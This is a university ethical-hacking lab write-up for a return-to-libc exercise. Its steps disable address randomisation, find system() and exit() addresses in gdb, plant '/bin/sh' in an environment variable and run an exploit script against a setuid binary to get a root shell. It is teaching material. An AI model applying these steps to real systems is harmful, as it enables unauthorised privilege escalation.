1 Return-to-libc writeup

Ethical Hacking 2021/22, University of Padua

Eleonora Losiouk, Alessandro Brighente, Denis Donadel, Gabriele Orazi

---

1.1 Configuration

The environment has to be prepared using the two commands explained in the `readme`, which are the following:

```
$ sudo sysctl -w kernel.randomize_va_space=0
$ sudo ln -sf /bin/zsh /bin/sh
```

1.2 Task 1

Retrieve the `system()` and `exit()` address by using `gdb`. To speed up the process, a script can be used. Check the `gdb_command.txt` file and then run the following:

```
$ gdb -q -batch -x gdb_command.txt ./retlib
```

1.3 Task 2

Store a new environment variable and check that it's correctly saved:

```
$ export MY_GLOB_VAR="/bin/sh"
$ env | grep MY_GLOB_VAR
```

Then compile and run the `c` program `prtenv.c` to get the address of the env variable:

```
$ gcc -m32 prtenv.c -o prtenv
$ ./prtenv
```

Keep in mind that the length of the binary file is important!

To check that the variable is accessible from the vulnerable script as well, you can include the function inside the retlib.c file and exec it in the main:

```
void printenvvar(){
    char* shell = getenv("MY_GLOB_VAR");
    if (shell)
            printf("%x\n", (unsigned int)shell);
}
```

You should print the same address from both the programs.

1.4 Task 3

Replace the addresses of `sh_addr`, `system_addr` and `exit_addr` in `exploit.py` after retrieving them. You can find the python script in the `exploit_task3.py` file. Then run:

```
$ ./exploit_task3.py
$ ./retlib
```

If your indexes are correct, you should get into a new shell. You can verify you are root with the command `whoami`.

1.4.1 Attack variation 1

The `exit()` function is not necessary since our crafted `system()` executes `/bin/sh` and up to this point we got the shell we want. The `exit()` is employed after we close the shell, but it is not important for the attack to succeed.

1.4.2 Attack variation 2

The attack cannot succeed since addresses are not well fitted anymore. In fact, renaming the `retlib` file in `newretlib`, the output of the binary will be:

```
zsh:1: command not found: h
Segmentation fault
```

This underlines the shift of three chars in the file name ("`new`" added at the beginning) reflected in the starting reading position of the `env` variable. This happens because the name of the file is loaded as an environment variable which is generally called `_`. You can take a look at it using the cmd `env`: by doing this you will see `_=/usr/bin/env`. If you create a soft link to the same executable, you will be able to see the path of your link assigned to that environment variable.
